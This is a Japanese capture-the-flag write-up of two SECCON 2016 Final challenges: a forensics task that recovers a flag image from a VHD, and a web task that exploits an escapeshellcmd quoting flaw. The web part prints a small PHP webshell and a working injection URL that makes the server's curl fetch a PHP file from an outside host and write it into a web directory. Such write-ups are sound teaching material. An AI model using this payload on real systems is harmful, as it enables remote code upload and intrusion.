SECCON2016 Final WriteUp
おなじみ(?)のほら貝で始まったSECCON2016 Finalですが、King of the Hillだったのにサーバ攻略に手を付けられずに一生Jeopardyしていたのでそのうちの関わった2問について書いていきます。(2問しか解けてない…)
また、今回はKOSENセキュリティコンテストから、Harekazeとして参加してきました。 SECCON2016 Online予選で30人規模で参加していたチームとは別のチームです。(名前かぶり)
Find the key - Forensic 100pt
Find the key.
配布ファイル: question.vhd
vhdファイルが渡されるので、そこからフラグを見つける問題でした。
まず、vhdファイルだったので、マウントしようとしてみるも何故か失敗。(改めてWindowsでマウントしたところ、普通に行けたので焦って何らかのミスをしていたと思われる…)
その後チームメイトがFTK Imagerで開いたところ、画像.png
が見つかり、ステガノを探したりbinwalkを走らせたりするも、特に見つからず再び思考タイムに入る。
更にその後、1, 2, 3と連番のファイルが見つかり、1のファイルをプレビュー見たところ、SECCON{}のフラグ形式が少し見えた。
[f:id:jagaNikuman:20170130232911p:plain:w300]
が、しかし欠けていてフラグは読み取れなかったので、これ1, 2, 3のファイルのバイナリを連結すれば行けるのでは、とチームメンバー(@the_ko_show)に投げられたのでBzで連結したところ、フラグの画像が出てきた。
[f:id:jagaNikuman:20170130233537p:plain:w300]
SECCON{kakusuno dame}
画像ファイルと特定する段階だが、開いて画像が見れたのはたまたまだし、思いっきり先頭にFF D8 FF EEと書かれていたのでしっかりマジックナンバーを見て判別していきたい…
2016-10033-ish - Web 100pt
http://10.100.6.2/FLAGhere/
とのこと。タイトルからも分かるように、CVE-2016-10033を使った問題でした。
CVE-2016-10033は、phpのescapeshellcmd
関数がシングルクォート、ダブルクォートそれぞれが連続している場合のみエスケープするという仕様から生まれたPHPMailerの脆弱性だそうです。
escapeshellcmdの仕様としては、以下のようになるらしいです。(間違っていたらすみません)
文字列 | エスケープされるか | 念のため |
---|---|---|
‘’ | ⭕される | シングル・シングル |
‘“ | ❌されない | シングル・ダブル |
“” | ⭕される | ダブル・ダブル |
“‘ | ❌されない | ダブル・シングル |
まず、 http://10.100.6.2/FLAGhere/にアクセスするも、ソースには何も記述されていませんでした。
そこで、 http://10.100.6.2/にアクセスすると、UNDER CONSTRUCTION...
とのこと。
とりあえずソースを見てみると、
<link href="http://10.100.6.2/css-selector.php?set=0" rel="stylesheet" type="text/css">
と書かれていたので、http://10.100.6.2/css-selector.php?set=0
にアクセスすると、cssが表示され、set=0
の引数を消してcss-selector.php
に直接アクセスすると、main.css
とmain-test.css
の二つのリンクが表示されていた。
リンク先はcss-selector.php/css=./main.css
、css-selector.php/css=./main-test.css
となっていたので、これらの挙動からcss=ファイル名
でcssファイルを指定し、set=0
で指定したcssを取得していることが推測できました。
とりあえずcss-selector.php
のソースを見たかったので、css=./css-selector.php
として、set=0
にアクセスしたら無事ソースが見れました。
if($_GET['set'] == '0') { header("Content-Type: text/css"); echo file_get_contents($_SESSION['css']); }
とのことだったので、file_get_contents
でcss取り込んでくれるなら、以下のようなls -al
を発行するphpを自分のPCに置いて、それを読ませれば任意コマンド発行出来るのでは、と思うもfile_get_contents
は実行せずにファイルを取得するだけの関数だったので未遂に終わった。
<?php system('ls -al'); ?>
次に試したことは、
elseif($_GET['tool'] == 'curl') { $cmd = "/usr/bin/curl \"http://".$_GET['host']."\""; $cmd = escapeshellcmd($cmd); echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n"; system("cd ./writabletmp/; pwd; $cmd 2>&1"); }
より、CVE-2016-10033の通りにescapeshellcmd
の脆弱性を使ってOSコマンドインジェクションを試してみた。が、最後のダブルクォーテーションをうまく消せずに断念。
ここで、自分は万策尽きてしまったのでチームメイトに投げたところ、オプションならインジェクション出来そうだから、-o
を付けてサーバにphp仕込めそう、とのことだったがPermission Deniedになる。
と言われたのでソースをもう一度よく見るとwritabletmp
というあからさまなディレクトリに移動してからcurlを発行していたので、writabletmp
以下に書き込むように修正を加えた。
http://10.100.6.2/css-selector.php?&tool=curl&host=192.168.23.3/seccon/ls.php" -o /var/www/html/writabletmp/ls.php"
これを発行したところ、
cd ./writabletmp/; pwd; /usr/bin/curl "http://192.168.23.3/seccon/ls.php" -o /var/www/html/writabletmp/ls.php"" /var/www/html/writabletmp % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 105 317 105 317 0 0 114k 0 --:--:-- --:--:-- --:--:-- 309k
とのことで、Permission Deniedされなかったのでhttp://http://10.100.6.2/writabletmp/ls.php/
にアクセスしてフラグ獲得。
SECCON{escapeshellcmd_CVE-2016-10033}
OSコマンドインジェクションだと思ったり、phpのバージョンが5.3.3だったことからヌルバイト攻撃か…?とも思ったりしたけど全くの見当違いで1日潰したの辛かった…
感想
今回始めてSECCON参加して分かった事が、pwn出来ないとまともに点が取れなかったということでした。とりあえずハリネズミから始めていきたいと思います。
pwnつらい…